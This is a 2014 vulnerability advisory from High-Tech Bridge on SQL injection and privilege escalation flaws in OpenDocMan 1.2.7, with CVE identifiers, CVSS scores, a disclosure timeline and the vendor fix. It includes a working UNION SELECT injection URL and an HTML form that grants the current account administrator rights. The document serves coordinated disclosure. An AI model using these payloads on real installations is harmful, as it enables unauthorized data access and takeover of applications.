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Multiple Vulnerabilities in OpenDocMan

Advisory ID:HTB23202
Product:OpenDocMan
Vendor:Free Document Management Software
Vulnerable Versions:1.2.7 and probably prior
Tested Version:1.2.7
Advisory Publication:February 12, 2014 [without technical details]
Vendor Notification:February 12, 2014
Vendor Fix:February 24, 2014
Public Disclosure:March 5, 2014
Latest Update:February 25, 2014
Vulnerability Type:SQL Injection [CWE-89]
Improper Access Control [CWE-284]
CVE References:CVE-2014-1945
CVE-2014-1946
Risk Level:High
CVSSv2 Base Scores:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenDocMan, which can be exploited to perform SQL Injection and gain administrative access to the application.

1) SQL Injection in OpenDocMan: CVE-2014-1945
The vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in "/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.
The exploitation example below displays version of the MySQL server:
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%2 8%29,3,4,5,6,7,8,9

2) Improper Access Control in OpenDocMan: CVE-2014-1946
The vulnerability exists due to insufficient validation of allowed action in "/signup.php" script when updating user’s profile. A remote authenticated attacker can assign administrative privileges to the current account and gain complete control over the application.
The exploitation example below assigns administrative privileges for the current account:
<form action="http://[host]/signup.php" method="post" name="main">
<input type="hidden" name="updateuser" value="1">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="id" value="[USER_ID]">
<input type="submit" name="login" value="Run">
</form>


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Solution:
Update to OpenDocMan v1.2.7.2

More Information:
http://www.opendocman.com/opendocman-v1-2-7-1-release/
http://www.opendocman.com/opendocman-v1-2-7-2-released/


References:
[1] High-Tech Bridge Advisory HTB23202 - https://www.htbridge.com/advisory/HTB23202 - Multiple vulnerabilities in OpenDocMan.
[2] OpenDocMan - http://www.opendocman.com/ - Open Source Document Management System written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - a PCI compliant web application penetration test combined with managed vulnerability scan. Configure, schedule, and manage online 24/7.
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